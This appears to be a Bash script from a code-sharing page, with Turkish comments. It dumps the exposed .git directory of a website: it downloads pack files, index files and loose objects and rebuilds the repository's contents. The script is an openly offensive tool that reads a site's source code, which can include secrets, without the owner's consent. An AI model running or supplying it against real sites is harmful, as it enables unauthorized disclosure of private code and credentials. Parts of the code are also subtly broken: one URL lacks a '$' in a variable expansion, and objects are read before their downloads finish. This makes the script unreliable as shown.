#https://test.com/.git/objects/info/packs adresine yanıt veren tüm web siteleri
#için geçerli olabilir pack dosyasını verify ederek tüm commitlere erişmeyi
#ve objects dosylarını çözümleyerek git reposunu okumayı hedefler
#!/bin/bash
url="https://test.com/"
git init
mkdir icerikler
curl "$url.git/objects/info/packs" --output bilgi.txt
cat bilgi.txt | cut -d ' ' -f2 > packlist.txt
echo "" > commits.txt
while read -r line;
do
curl "$url.git/objects/pack/$line" --output ".git/objects/pack/$line"
curl "$url.git/objects/pack/$(echo $line | cut -d '.' -f1).idx" --output ".git/objects/pack/$(echo $line | cut -d '.' -f1).idx"
git verify-pack -v ".git/objects/pack/$line" >> commits.txt
git verify-pack -v ".git/objects/pack/$line" | cut -d ' ' -f1 >> commitsHash.txt
done < packlist.txt
echo "" > sonuc.txt
while read -r commits;
do
if (( $(jobs -p | wc -l) > 100 ))
then
sleep 5s
fi
echo "$commits Dosyası yükleniyor..."
mkdir .git/objects/${commits:0:2}
curl "$url.git/objects/${commits:0:2}/{commits:2:40}" --output ".git/objects/${commits:0:2}/${commits:2:40}" >> /dev/null 2>&1 &
echo "$commits açılıyor."
git cat-file -p $commits >> icerikler/$commits
done < commitsHash.txt
exit
Categories: Bash language
1,512 Comments